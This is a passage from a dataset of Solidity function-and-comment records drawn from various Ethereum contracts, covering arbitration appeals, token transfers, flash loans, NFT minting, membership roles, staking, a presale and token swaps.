_arbitrator.createDispute.value(arbitrationCost)(NUMBER_OF_CHOICES, _arbitratorExtraData);\r\n\r\n uint localDisputeID = disputes.length++;\r\n DisputeStruct storage dispute = disputes[localDisputeID];\r\n dispute.arbitrator = _arbitrator;\r\n dispute.arbitratorExtraData = _arbitratorExtraData;\r\n dispute.disputeIDOnArbitratorSide = disputeID;\r\n dispute.rounds.length++;\r\n\r\n arbitratorExternalIDtoLocalID[address(_arbitrator)][disputeID] = localDisputeID;\r\n\r\n emit MetaEvidence(localDisputeID, _metaevidenceURI);\r\n emit Dispute(_arbitrator, disputeID, localDisputeID, localDisputeID);\r\n\r\n msg.sender.send(msg.value-arbitrationCost);\r\n }", "version": "0.5.11"} {"comment": "/** @dev Manages contributions and calls appeal function of the specified arbitrator to appeal a dispute. This function lets appeals be crowdfunded.\r\n * @param _localDisputeID Index of the dispute in disputes array.\r\n * @param _party The side to which the caller wants to contribute.\r\n */", "function_code": "function appeal(uint _localDisputeID, Party _party) external payable {\r\n require(_party != Party.RefuseToArbitrate, \"You can't fund an appeal in favor of refusing to arbitrate.\");\r\n uint8 side = uint8(_party);\r\n DisputeStruct storage dispute = disputes[_localDisputeID];\r\n\r\n (uint appealPeriodStart, uint appealPeriodEnd) = dispute.arbitrator.appealPeriod(dispute.disputeIDOnArbitratorSide);\r\n require(now >= appealPeriodStart && now < appealPeriodEnd, \"Funding must be made within the appeal period.\");\r\n\r\n Round storage round = dispute.rounds[dispute.rounds.length-1];\r\n\r\n require(!round.hasPaid[side], \"Appeal fee has already been paid\");\r\n round.hasPaid[side] = true; // Temporarily assume the contribution covers the missing amount to block re-entrancy.\r\n\r\n uint appealCost = dispute.arbitrator.appealCost(dispute.disputeIDOnArbitratorSide, dispute.arbitratorExtraData);\r\n\r\n uint contribution;\r\n\r\n if(round.paidFees[side] + msg.value >= appealCost){\r\n contribution = appealCost - round.paidFees[side];\r\n }\r\n else{\r\n contribution = msg.value;\r\n round.hasPaid[side] = false; // Rollback the temporary assumption above.\r\n }\r\n msg.sender.send(msg.value - contribution);\r\n round.contributions[msg.sender][side] += contribution;\r\n round.paidFees[side] += contribution;\r\n round.totalAppealFeesCollected += contribution;\r\n\r\n if(round.hasPaid[requester] && round.hasPaid[respondent]){\r\n dispute.arbitrator.appeal.value(appealCost)(dispute.disputeIDOnArbitratorSide, dispute.arbitratorExtraData);\r\n dispute.rounds.length++;\r\n round.totalAppealFeesCollected = round.totalAppealFeesCollected.subCap(appealCost);\r\n }\r\n }", "version": "0.5.11"} {"comment": "/** @dev To be called by the arbitrator of the dispute, to declare winning side.\r\n * @param _externalDisputeID ID of the dispute in arbitrator contract.\r\n * @param _ruling The side to which the caller wants to contribute.\r\n */", "function_code": "function rule(uint _externalDisputeID, uint _ruling) external {\r\n uint _localDisputeID = arbitratorExternalIDtoLocalID[msg.sender][_externalDisputeID];\r\n DisputeStruct storage dispute = disputes[_localDisputeID];\r\n require(msg.sender == address(dispute.arbitrator), \"Unauthorized call.\");\r\n require(_ruling <= NUMBER_OF_CHOICES, \"Invalid ruling.\");\r\n require(dispute.isRuled == false, \"Is ruled already.\");\r\n\r\n dispute.isRuled = true;\r\n dispute.judgment = Party(_ruling);\r\n\r\n Round storage round = dispute.rounds[dispute.rounds.length-1];\r\n\r\n uint resultRuling = _ruling;\r\n if (round.hasPaid[requester] == true) // If one side paid its fees, the ruling is in its favor. Note that if the other side had also paid, an appeal would have been created.\r\n resultRuling = 1;\r\n else if (round.hasPaid[respondent] == true)\r\n resultRuling = 2;\r\n\r\n emit Ruling(Arbitrator(msg.sender), dispute.disputeIDOnArbitratorSide, resultRuling);\r\n }", "version": "0.5.11"} {"comment": "/* Initializes the contract */", "function_code": "function token(uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol) internal {\r\n balanceOf[msg.sender] = initialSupply; // Gives the creator all initial tokens.\r\n totalSupply = initialSupply; // Update total supply.\r\n name = tokenName; // Set the name for display purposes.\r\n symbol = tokenSymbol; // Set the symbol for display purposes.\r\n decimals = decimalUnits; // Amount of decimals for display purposes.\r\n }", "version": "0.4.23"} {"comment": "/// @notice Send `_value` tokens to `_to` in behalf of `_from`.\n/// @param _from The address of the sender.\n/// @param _to The address of the recipient.\n/// @param _value The amount to send.", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {\r\n require(_value <= allowance[_from][msg.sender]); // Check allowance.\r\n allowance[_from][msg.sender] -= _value; // Updates the allowance array, substracting the amount sent.\r\n _transfer(_from, _to, _value); // Makes the transfer.\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "/// @notice Allows `_spender` to spend a maximum of `_value` tokens in your behalf.\n/// @param _spender The address authorized to spend.\n/// @param _value The max amount they can spend.", "function_code": "function approve(address _spender, uint256 _value) public returns (bool success) {\r\n allowance[msg.sender][_spender] = _value; // Adds a new register to allowance, permiting _spender to use _value of your tokens.\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "/* Overrides basic transfer function due to comision value */", "function_code": "function transfer(address _to, uint256 _value) public {\r\n \t// This function requires a comision value of 0.4% of the market value.\r\n uint market_value = _value * sellPrice;\r\n uint comision = market_value * 4 / 1000;\r\n // The token smart-contract pays comision, else the transfer is not possible.\r\n require(this.balance >= comision);\r\n comisionGetter.transfer(comision); // Transfers comision to the comisionGetter.\r\n _transfer(msg.sender, _to, _value);\r\n }", "version": "0.4.23"} {"comment": "/* Internal, updates the profit value */", "function_code": "function _updateProfit(uint256 _increment, bool add) internal{\r\n if (add){\r\n // Increase the profit value\r\n profit = profit + _increment;\r\n }else{\r\n // Decrease the profit value\r\n if(_increment > profit){ profit = 0; }\r\n else{ profit = profit - _increment; }\r\n }\r\n }", "version": "0.4.23"} {"comment": "/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens.\n/// @param target Address to be frozen.\n/// @param freeze Either to freeze target or not.", "function_code": "function freezeAccount(address target, bool freeze) onlyOwner public {\r\n frozenAccount[target] = freeze; // Sets the target status. True if it's frozen, False if it's not.\r\n FrozenFunds(target, freeze); // Notifies the blockchain about the change of state.\r\n }", "version": "0.4.23"} {"comment": "/// @notice Deposits Ether to the contract", "function_code": "function deposit() payable public returns(bool success) {\r\n require((this.balance + msg.value) > this.balance); // Checks for overflows.\r\n //Contract has already received the Ether when this function is executed.\r\n _updateSolvency(this.balance); // Updates the solvency value of the contract.\r\n _updateProfit(msg.value, false); // Decrease profit value.\r\n // Decrease because deposits will be done mostly by the owner.\r\n // Possible donations won't count as profit for the company, but in favor of the investors.\r\n LogDeposit(msg.sender, msg.value); // Notifies the blockchain about the Ether received.\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "/// @notice The owner withdraws Ether from the contract.\n/// @param amountInWeis Amount of ETH in WEI which will be withdrawed.", "function_code": "function withdraw(uint amountInWeis) onlyOwner public {\r\n LogWithdrawal(msg.sender, amountInWeis); // Notifies the blockchain about the withdrawal.\r\n _updateSolvency( (this.balance - amountInWeis) ); // Updates the solvency value of the contract.\r\n _updateProfit(amountInWeis, true); // Increase the profit value.\r\n owner.transfer(amountInWeis); // Sends the Ether to owner address.\r\n }", "version": "0.4.23"} {"comment": "// For pushing pre-ICO records", "function_code": "function push(address buyer, uint256 amount) public onlyOwner { //b753a98c\r\n require(balances[wallet] >= amount);\r\n require(now < startDate);\r\n require(buyer != wallet);\r\n\r\n preICO_address[ buyer ] = true;\r\n\r\n // Transfer\r\n balances[wallet] = balances[wallet].sub(amount);\r\n balances[buyer] = balances[buyer].add(amount);\r\n PreICOTokenPushed(buyer, amount);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Mature the fyToken by recording the chi.", "function_code": "function _mature() \n private\n returns (uint256 _chiAtMaturity)\n {\n (_chiAtMaturity,) = oracle.get(underlyingId, CHI, 0); // The value returned is an accumulator, it doesn't need an input amount\n chiAtMaturity = _chiAtMaturity;\n emit SeriesMatured(_chiAtMaturity);\n }", "version": "0.8.6"} {"comment": "/// @dev Retrieve the chi accrual since maturity, maturing if necessary.\n/// Note: Call only after checking we are past maturity", "function_code": "function _accrual()\n private\n returns (uint256 accrual_)\n {\n if (chiAtMaturity == CHI_NOT_SET) { // After maturity, but chi not yet recorded. Let's record it, and accrual is then 1.\n _mature();\n } else {\n (uint256 chi,) = oracle.get(underlyingId, CHI, 0); // The value returned is an accumulator, it doesn't need an input amount\n accrual_ = chi.wdiv(chiAtMaturity);\n }\n accrual_ = accrual_ >= 1e18 ? accrual_ : 1e18; // The accrual can't be below 1 (with 18 decimals)\n }", "version": "0.8.6"} {"comment": "/// @dev Burn fyToken after maturity for an amount that increases according to `chi`\n/// If `amount` is 0, the contract will redeem instead the fyToken balance of this contract. Useful for batches.", "function_code": "function redeem(address to, uint256 amount)\n external override\n afterMaturity\n returns (uint256 redeemed)\n {\n uint256 amount_ = (amount == 0) ? _balanceOf[address(this)] : amount;\n _burn(msg.sender, amount_);\n redeemed = amount_.wmul(_accrual());\n join.exit(to, redeemed.u128());\n \n emit Redeemed(msg.sender, to, amount_, redeemed);\n }", "version": "0.8.6"} {"comment": "/// @dev Burn fyTokens. \n/// Any tokens locked in this contract will be burned first and subtracted from the amount to burn from the user's wallet.\n/// This feature allows someone to transfer fyToken to this contract to enable a `burn`, potentially saving the cost of `approve` or `permit`.", "function_code": "function _burn(address from, uint256 amount)\n internal override\n returns (bool)\n {\n // First use any tokens locked in this contract\n uint256 available = _balanceOf[address(this)];\n if (available >= amount) {\n return super._burn(address(this), amount);\n } else {\n if (available > 0 ) super._burn(address(this), available);\n unchecked { _decreaseAllowance(from, amount - available); }\n unchecked { return super._burn(from, amount - available); }\n }\n }", "version": "0.8.6"} {"comment": "/**\n * @dev From ERC-3156. Loan `amount` fyDai to `receiver`, which needs to return them plus fee to this contract within the same transaction.\n * Note that if the initiator and the borrower are the same address, no approval is needed for this contract to take the principal + fee from the borrower.\n * If the borrower transfers the principal + fee to this contract, they will be burnt here instead of pulled from the borrower.\n * @param receiver The contract receiving the tokens, needs to implement the `onFlashLoan(address user, uint256 amount, uint256 fee, bytes calldata)` interface.\n * @param token The loan currency. Must be a fyDai contract.\n * @param amount The amount of tokens lent.\n * @param data A data parameter to be passed on to the `receiver` for any custom use.\n */", "function_code": "function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes memory data)\n external override\n beforeMaturity\n returns(bool)\n {\n require(token == address(this), \"Unsupported currency\");\n _mint(address(receiver), amount);\n require(receiver.onFlashLoan(msg.sender, token, amount, 0, data) == FLASH_LOAN_RETURN, \"Non-compliant borrower\");\n _burn(address(receiver), amount);\n return true;\n }", "version": "0.8.6"} {"comment": "// public (Early Bird Mint) 150 to mint", "function_code": "function earlyBirdMint() public payable {\r\n uint256 supply = totalSupply();\r\n require(\r\n earlyBirdMinting,\r\n \"Error: Early Bird minting is not active yet.\"\r\n );\r\n require(supply < 250, \"Error: Maximum limit surpassed\"); // max total mints is 100 marketing, 150 earlybird,\r\n\r\n require(\r\n earlyBirdList[msg.sender],\r\n \"Error: Sender is not on the Early Bird List!\"\r\n );\r\n\r\n if (mintLimitActive) {\r\n require(\r\n !alreadyMinted[msg.sender],\r\n \"Error: Sender already minted one token\"\r\n );\r\n }\r\n\r\n if (msg.sender != owner()) {\r\n require(msg.value >= cost, \"Error: costs are higher per NFT.\");\r\n }\r\n\r\n _safeMint(msg.sender, supply + 1);\r\n alreadyMinted[msg.sender] = true;\r\n }", "version": "0.8.7"} {"comment": "// public marketing mint 100", "function_code": "function marketingMint() public payable onlyOwnerOrDev {\r\n uint256 supply = totalSupply();\r\n require(\r\n marketingMinting,\r\n \"Error: Marketing minting is not active yet.\"\r\n );\r\n require(supply < 100, \"Error you may only mint 100 NFTs\"); // max total mints is 100 marketing\r\n\r\n for (uint256 i = 1; i <= 100; i++) {\r\n _safeMint(msg.sender, supply + i);\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\n * @dev is used to add initital advisory board members\n * @param abArray is the list of initial advisory board members\n */", "function_code": "function addInitialABMembers(address[] calldata abArray) external onlyOwner {\n\n //Ensure that NXMaster has initialized.\n require(ms.masterInitialized());\n\n require(maxABCount >=\n SafeMath.add(numberOfMembers(uint(Role.AdvisoryBoard)), abArray.length)\n );\n //AB count can't exceed maxABCount\n for (uint i = 0; i < abArray.length; i++) {\n require(checkRole(abArray[i], uint(MemberRoles.Role.Member)));\n _updateRole(abArray[i], uint(Role.AdvisoryBoard), true);\n }\n }", "version": "0.5.17"} {"comment": "/**\n * @dev to add members before launch\n * @param userArray is list of addresses of members\n * @param tokens is list of tokens minted for each array element\n */", "function_code": "function addMembersBeforeLaunch(address[] memory userArray, uint[] memory tokens) public onlyOwner {\n require(!launched);\n\n for (uint i = 0; i < userArray.length; i++) {\n require(!ms.isMember(userArray[i]));\n dAppToken.addToWhitelist(userArray[i]);\n _updateRole(userArray[i], uint(Role.Member), true);\n dAppToken.mint(userArray[i], tokens[i]);\n }\n launched = true;\n launchedOn = now;\n\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Called by user to pay joining membership fee\n */", "function_code": "function payJoiningFee(address _userAddress) public payable {\n require(_userAddress != address(0));\n require(!ms.isPause(), \"Emergency Pause Applied\");\n if (msg.sender == address(ms.getLatestAddress(\"QT\"))) {\n require(td.walletAddress() != address(0), \"No walletAddress present\");\n dAppToken.addToWhitelist(_userAddress);\n _updateRole(_userAddress, uint(Role.Member), true);\n td.walletAddress().transfer(msg.value);\n } else {\n require(!qd.refundEligible(_userAddress));\n require(!ms.isMember(_userAddress));\n require(msg.value == td.joiningFee());\n qd.setRefundEligible(_userAddress, true);\n }\n }", "version": "0.5.17"} {"comment": "/**\n * @dev to perform kyc verdict\n * @param _userAddress whose kyc is being performed\n * @param verdict of kyc process\n */", "function_code": "function kycVerdict(address payable _userAddress, bool verdict) public {\n\n require(msg.sender == qd.kycAuthAddress());\n require(!ms.isPause());\n require(_userAddress != address(0));\n require(!ms.isMember(_userAddress));\n require(qd.refundEligible(_userAddress));\n if (verdict) {\n qd.setRefundEligible(_userAddress, false);\n uint fee = td.joiningFee();\n dAppToken.addToWhitelist(_userAddress);\n _updateRole(_userAddress, uint(Role.Member), true);\n td.walletAddress().transfer(fee); // solhint-disable-line\n\n } else {\n qd.setRefundEligible(_userAddress, false);\n _userAddress.transfer(td.joiningFee()); // solhint-disable-line\n }\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Called by existed member if wish to Withdraw membership.\n */", "function_code": "function withdrawMembership() public {\n\n require(!ms.isPause() && ms.isMember(msg.sender));\n require(dAppToken.totalLockedBalance(msg.sender, now) == 0); // solhint-disable-line\n require(!tf.isLockedForMemberVote(msg.sender)); // No locked tokens for Member/Governance voting\n require(cr.getAllPendingRewardOfUser(msg.sender) == 0); // No pending reward to be claimed(claim assesment).\n require(dAppToken.tokensUnlockable(msg.sender, \"CLA\") == 0, \"Member should have no CLA unlockable tokens\");\n\n gv.removeDelegation(msg.sender);\n dAppToken.burnFrom(msg.sender, tk.balanceOf(msg.sender));\n _updateRole(msg.sender, uint(Role.Member), false);\n dAppToken.removeFromWhitelist(msg.sender); // need clarification on whitelist\n\n if (claimPayoutAddress[msg.sender] != address(0)) {\n claimPayoutAddress[msg.sender] = address(0);\n emit ClaimPayoutAddressSet(msg.sender, address(0));\n }\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Called by existed member if wish to switch membership to other address.\n * @param _add address of user to forward membership.\n */", "function_code": "function switchMembership(address _add) external {\n\n require(!ms.isPause() && ms.isMember(msg.sender) && !ms.isMember(_add));\n require(dAppToken.totalLockedBalance(msg.sender, now) == 0); // solhint-disable-line\n require(!tf.isLockedForMemberVote(msg.sender)); // No locked tokens for Member/Governance voting\n require(cr.getAllPendingRewardOfUser(msg.sender) == 0); // No pending reward to be claimed(claim assesment).\n require(dAppToken.tokensUnlockable(msg.sender, \"CLA\") == 0, \"Member should have no CLA unlockable tokens\");\n\n gv.removeDelegation(msg.sender);\n dAppToken.addToWhitelist(_add);\n _updateRole(_add, uint(Role.Member), true);\n tk.transferFrom(msg.sender, _add, tk.balanceOf(msg.sender));\n _updateRole(msg.sender, uint(Role.Member), false);\n dAppToken.removeFromWhitelist(msg.sender);\n\n address payable previousPayoutAddress = claimPayoutAddress[msg.sender];\n\n if (previousPayoutAddress != address(0)) {\n\n address payable storedAddress = previousPayoutAddress == _add ? address(0) : previousPayoutAddress;\n\n claimPayoutAddress[msg.sender] = address(0);\n claimPayoutAddress[_add] = storedAddress;\n\n // emit event for old address reset\n emit ClaimPayoutAddressSet(msg.sender, address(0));\n\n if (storedAddress != address(0)) {\n // emit event for setting the payout address on the new member address if it's non zero\n emit ClaimPayoutAddressSet(_add, storedAddress);\n }\n }\n\n emit switchedMembership(msg.sender, _add, now);\n }", "version": "0.5.17"} {"comment": "/// @dev Gets the member addresses assigned by a specific role\n/// @param _memberRoleId Member role id\n/// @return roleId Role id\n/// @return allMemberAddress Member addresses of specified role id", "function_code": "function members(uint _memberRoleId) public view returns (uint, address[] memory memberArray) {//solhint-disable-line\n uint length = memberRoleData[_memberRoleId].memberAddress.length;\n uint i;\n uint j = 0;\n memberArray = new address[](memberRoleData[_memberRoleId].memberCounter);\n for (i = 0; i < length; i++) {\n address member = memberRoleData[_memberRoleId].memberAddress[i];\n if (memberRoleData[_memberRoleId].memberActive[member] && !_checkMemberInArray(member, memberArray)) {//solhint-disable-line\n memberArray[j] = member;\n j++;\n }\n }\n\n return (_memberRoleId, memberArray);\n }", "version": "0.5.17"} {"comment": "/// @dev Get All role ids array that has been assigned to a member so far.", "function_code": "function roles(address _memberAddress) public view returns (uint[] memory) {//solhint-disable-line\n uint length = memberRoleData.length;\n uint[] memory assignedRoles = new uint[](length);\n uint counter = 0;\n for (uint i = 1; i < length; i++) {\n if (memberRoleData[i].memberActive[_memberAddress]) {\n assignedRoles[counter] = i;\n counter++;\n }\n }\n return assignedRoles;\n }", "version": "0.5.17"} {"comment": "/**\n * @dev to update the member roles\n * @param _memberAddress in concern\n * @param _roleId the id of role\n * @param _active if active is true, add the member, else remove it\n */", "function_code": "function _updateRole(address _memberAddress,\n uint _roleId,\n bool _active) internal {\n // require(_roleId != uint(Role.TokenHolder), \"Membership to Token holder is detected automatically\");\n if (_active) {\n require(!memberRoleData[_roleId].memberActive[_memberAddress]);\n memberRoleData[_roleId].memberCounter = SafeMath.add(memberRoleData[_roleId].memberCounter, 1);\n memberRoleData[_roleId].memberActive[_memberAddress] = true;\n memberRoleData[_roleId].memberAddress.push(_memberAddress);\n } else {\n require(memberRoleData[_roleId].memberActive[_memberAddress]);\n memberRoleData[_roleId].memberCounter = SafeMath.sub(memberRoleData[_roleId].memberCounter, 1);\n delete memberRoleData[_roleId].memberActive[_memberAddress];\n }\n }", "version": "0.5.17"} {"comment": "/**\n * @dev to check if member is in the given member array\n * @param _memberAddress in concern\n * @param memberArray in concern\n * @return boolean to represent the presence\n */", "function_code": "function _checkMemberInArray(\n address _memberAddress,\n address[] memory memberArray\n )\n internal\n pure\n returns (bool memberExists)\n {\n uint i;\n for (i = 0; i < memberArray.length; i++) {\n if (memberArray[i] == _memberAddress) {\n memberExists = true;\n break;\n }\n }\n }", "version": "0.5.17"} {"comment": "/**\n * @dev to add initial member roles\n * @param _firstAB is the member address to be added\n * @param memberAuthority is the member authority(role) to be added for\n */", "function_code": "function _addInitialMemberRoles(address _firstAB, address memberAuthority) internal {\n maxABCount = 5;\n _addRole(\"Unassigned\", \"Unassigned\", address(0));\n _addRole(\n \"Advisory Board\",\n \"Selected few members that are deeply entrusted by the dApp. An ideal advisory board should be a mix of skills of domain, governance, research, technology, consulting etc to improve the performance of the dApp.\", //solhint-disable-line\n address(0)\n );\n _addRole(\n \"Member\",\n \"Represents all users of Mutual.\", //solhint-disable-line\n memberAuthority\n );\n _addRole(\n \"Owner\",\n \"Represents Owner of Mutual.\", //solhint-disable-line\n address(0)\n );\n // _updateRole(_firstAB, uint(Role.AdvisoryBoard), true);\n _updateRole(_firstAB, uint(Role.Owner), true);\n // _updateRole(_firstAB, uint(Role.Member), true);\n launchedOn = 0;\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Stake rPEPE-ETH LP tokens\n *\n * Requirement\n *\n * - In this pool, don't care about 2.5% fee for stake/unstake\n *\n * @param amount: Amount of LP tokens to deposit\n */", "function_code": "function stake(uint256 amount) public {\n require(amount > 0, \"Staking amount must be more than zero\");\n // Transfer tokens from staker to the contract amount\n require(IUniswapV2Pair(_UniswapV2Pair).transferFrom(_msgSender(), address(this), uint(amount)), \"It has failed to transfer tokens from staker to contract.\");\n // add staker to array\n if (_stakedAmount[_msgSender()] == 0) {\n _stakers.push(_msgSender());\n }\n // Increase the total staked amount\n _totalStakedAmount = _totalStakedAmount.add(amount);\n // Add new stake amount\n _stakedAmount[_msgSender()] = _stakedAmount[_msgSender()].add(amount);\n emit Staked(_msgSender(), amount);\n }", "version": "0.6.6"} {"comment": "/**\n * @dev count and return pepe amount from lp token amount in uniswap v2 pool\n *\n * Formula\n *\n * - rPEPE = (staked LP / total LP in uniswap pool) * rPEPE in uniswap pool\n */", "function_code": "function _getStakedPepeAmount(uint256 amount) internal view returns (uint256) {\n (uint112 pepeAmount,,) = IUniswapV2Pair(_UniswapV2Pair).getReserves();\n // get the total amount of LP token in uniswap v2 pool\n uint totalAmount = IUniswapV2Pair(_UniswapV2Pair).totalSupply();\n return amount.mul(uint256(pepeAmount)).div(uint256(totalAmount));\n }", "version": "0.6.6"} {"comment": "// Standard mint function", "function_code": "function mint(uint256 _amount) public payable {\r\n uint256 supply = totalSupply();\r\n require( saleIsActive, \"Sale isn't active\" );\r\n require( _amount > 0 && _amount < 16, \"Can only mint between 1 and 15 tokens at once\" );\r\n require( (supply + _amount) <= (MAX_SUPPLY - reserved), \"Purchase would exceed maximum supply\" );\r\n require( msg.value == price * _amount, \"Wrong amount of ETH sent\" );\r\n for(uint256 i; i < _amount; i++){\r\n _safeMint( msg.sender, supply + i );\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice withdraw any Dai accumulated as dividends, and any tokens that might have been erroneously sent to this contract\r\n * @param token address of token to withdraw\r\n * @param amount amount of token to withdraw\r\n * @return true if success\r\n */", "function_code": "function withdrawERC20(address token, uint256 amount) external returns (bool) {\r\n require(msg.sender == _poolSource, \"Only designated source can withdraw any token\");\r\n require(token != address(_wToken), \"Cannot withdraw asset token this way\");\r\n\r\n IERC20(token).safeTransfer(_poolSource, amount);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice deposit Dai and get back wTokens\r\n * @param amount amount of Dai to deposit\r\n * @return true if success\r\n */", "function_code": "function swapWithDai(uint256 amount) external returns (bool) {\r\n require(amount > 0, \"Dai amount must be greater than 0\");\r\n\r\n uint256 tokenAmount = daiToToken(amount);\r\n\r\n // through not strictly needed, useful to have a clear message for this error case\r\n require(_wToken.balanceOf(address(this)) >= tokenAmount, \"Insufficient token supply in the pool\");\r\n\r\n _daiContract.transferFrom(msg.sender, _poolSource, amount);\r\n _wToken.transfer(msg.sender, tokenAmount);\r\n\r\n emit TokenTransaction(msg.sender, msg.sender, tokenAmount, 1, amount);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice deposit USDT and get back wTokens\r\n * @param amount amount of USDT to deposit\r\n * @return true if success\r\n */", "function_code": "function swapWithUSDT(uint256 amount) external returns (bool) {\r\n require(amount > 0, \"USDT amount must be greater than 0\");\r\n\r\n uint256 tokenAmount = usdtToToken(amount);\r\n\r\n require(_wToken.balanceOf(address(this)) >= tokenAmount, \"Insufficient token supply in the pool\");\r\n\r\n // safeTransferFrom is necessary for USDT due to argument byte size check in USDT's transferFrom function\r\n _usdtContract.safeTransferFrom(msg.sender, _poolSource, amount);\r\n _wToken.transfer(msg.sender, tokenAmount);\r\n\r\n emit TokenTransaction(msg.sender, msg.sender, tokenAmount, 3, amount);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/// @notice A public call to increase the peg by 4%. Can only be called once every 12 hours, and only if\n/// there is there is <= 2% as much Ether value in the contract as there is Dai value.\n/// Example: with a peg of 100, and 10000 total Dai in the vault, the ether balance of the\n/// vault must be less than or equal to 2 to execute this function.", "function_code": "function increasePeg() external {\r\n // check that the total value of eth in contract is <= 2% the total value of dai in the contract\r\n require (address(this).balance.mul(etherPeg) <= daiContract.balanceOf(address(this)).div(50)); \r\n // check that peg hasn't been changed in last 12 hours\r\n require (now > pegMoveReadyTime);\r\n // increase peg\r\n etherPeg = etherPeg.mul(104).div(100);\r\n // reset cooldown\r\n pegMoveReadyTime = now+pegMoveCooldown;\r\n }", "version": "0.5.10"} {"comment": "/// @notice All units are minimum denomination, ie base unit *10**-18\n/// Use this payable function to buy INCH from the contract with Wei. Rates are based on premium\n/// and etherPeg. For every Wei deposited, msg.sender recieves etherPeg/(0.000001*premium) INCH.\n/// Example: If the peg is 100, and the premium is 2000000, msg.sender will recieve 50 INCH.\n/// @dev Transaction reverts if payment results in 0 INCH returned", "function_code": "function __buyInchWithWei() external payable {\r\n // Calculate the amount of inch give to msg.sender\r\n uint _inchToBuy = msg.value.mul(etherPeg).mul(premiumDigits).div(premium);\r\n // Require that INCH returned is not 0\r\n require(_inchToBuy > 0);\r\n // Transfer INCH to Purchaser\r\n inchWormContract.transfer(msg.sender, _inchToBuy);\r\n \r\n emit BuyInchWithWei(_inchToBuy, msg.value);\r\n }", "version": "0.5.10"} {"comment": "/// @param _inchToBuy: amount of INCH (in mininum denomination) msg.sender wishes to purchase\n/// @notice All units are in minimum denomination, ie base unit *10**-18\n/// Use this payable to buy INCH from the contract using Dai. Rates are based on premium.\n/// For every Dai deposited, msg.sender recieves 1/(0.000001*premium) INCH.\n/// Example: If the premium is 5000000, calling the function with input 1 will result in \n/// msg.sender paying 5 DaiSats. ", "function_code": "function __buyInchWithDai(uint _inchToBuy) external {\r\n // Calculate the amount of Dai to extract from the purchaser's wallet based on the premium\r\n uint _daiOwed = _inchToBuy.mul(premium).div(premiumDigits);\r\n // Take Dai from the purchaser and transfer to vault contract\r\n daiContract.transferFrom(msg.sender, address(this), _daiOwed);\r\n // Send INCH to purchaser\r\n inchWormContract.transfer(msg.sender, _inchToBuy);\r\n \r\n emit BuyInchWithDai(_inchToBuy, _daiOwed);\r\n }", "version": "0.5.10"} {"comment": "// join presale - just send ETH to contract,\n// remember to check GAS LIMIT > 70000!", "function_code": "receive() external payable {\r\n // only if not ended\r\n require(!presaleEnded, \"Presale ended\");\r\n // only if within time limit\r\n require(block.timestamp < presaleEnd, \"Presale time's up\");\r\n\r\n // record new user balance if possible\r\n uint256 amount = msg.value + balances[msg.sender];\r\n require(amount >= minPerUser, \"Below buy-in\");\r\n require(amount <= maxPerUser, \"Over buy-in\");\r\n balances[msg.sender] = amount;\r\n\r\n // end presale if reached limit\r\n if (collected() >= presaleLimit) {\r\n presaleEnded = true;\r\n }\r\n }", "version": "0.8.2"} {"comment": "// withdraw ETH from contract\n// can be used by user and owner\n// return false if nothing to do", "function_code": "function withdraw() external returns (bool) {\r\n if (!presaleEnded) {\r\n // end and fail presale if failsafe time passed\r\n if (block.timestamp > presaleEnd + failSafeTime) {\r\n presaleEnded = true;\r\n presaleFailed = true;\r\n // don't return true, you can withdraw in this call\r\n }\r\n }\r\n // owner withdraw - presale succeed ?\r\n else if (msg.sender == owner && !presaleFailed) {\r\n send(owner, address(this).balance);\r\n return true;\r\n }\r\n\r\n // presale failed, withdraw to calling user\r\n if (presaleFailed) {\r\n uint256 amount = balances[msg.sender];\r\n balances[msg.sender] = 0;\r\n send(msg.sender, amount);\r\n return true;\r\n }\r\n\r\n // did nothing\r\n return false;\r\n }", "version": "0.8.2"} {"comment": "// Send {tokens} amount of tokens from address {from} to address {to}\n// The transferFrom method is used for a withdraw workflow, allowing contracts to send\n// tokens on your behalf", "function_code": "function transferFrom(address from, address to, uint tokens) public returns (bool success) {\r\n require( allowed[from][msg.sender] >= tokens && balances[from] >= tokens && tokens > 0 );\r\n balances[from] -= tokens;\r\n allowed[from][msg.sender] -= tokens;\r\n balances[to] += tokens;\r\n emit Transfer(from, to, tokens);\r\n return true;\r\n }", "version": "0.5.1"} {"comment": "// automated buyback", "function_code": "function autoBuyBack(uint256 amountInWei) internal {\r\n \r\n lastAutoBuyBackTime = block.timestamp;\r\n \r\n address[] memory path = new address[](2);\r\n path[0] = dexRouter.WETH();\r\n path[1] = address(this);\r\n\r\n // make the swap\r\n dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountInWei}(\r\n 0, // accept any amount of Ethereum\r\n path,\r\n address(0xdead),\r\n block.timestamp\r\n );\r\n \r\n emit BuyBackTriggered(amountInWei);\r\n }", "version": "0.8.11"} {"comment": "/* ------------- Traits ------------- */", "function_code": "function encode(string[] memory strs) internal pure returns (bytes memory) {\n bytes memory a;\n for (uint256 i; i < strs.length; i++) {\n if (i < strs.length - 1) a = abi.encodePacked(a, strs[i], bytes1(0));\n else a = abi.encodePacked(a, strs[i]);\n }\n return a;\n }", "version": "0.8.12"} {"comment": "/**\r\n @notice Zap out in a single token\r\n @param _ToTokenContractAddress The ERC20 token to zapout in (address(0x00) if ether)\r\n @param _FromUniPoolAddress The uniswap pair address to zapout from\r\n @param _IncomingLP The amount of LP to remove.\r\n @param _minTokensRec indicates the minimum amount of tokens to receive\r\n @param _swapTarget indicates the execution target for swap.\r\n @param swap1Data DEX swap data\r\n @param swap2Data DEX swap data\r\n @param affiliate Affiliate address \r\n @return the amount of eth/tokens received after zapout\r\n */", "function_code": "function ZapOut(\r\n address _ToTokenContractAddress,\r\n address _FromUniPoolAddress,\r\n uint256 _IncomingLP,\r\n uint256 _minTokensRec,\r\n 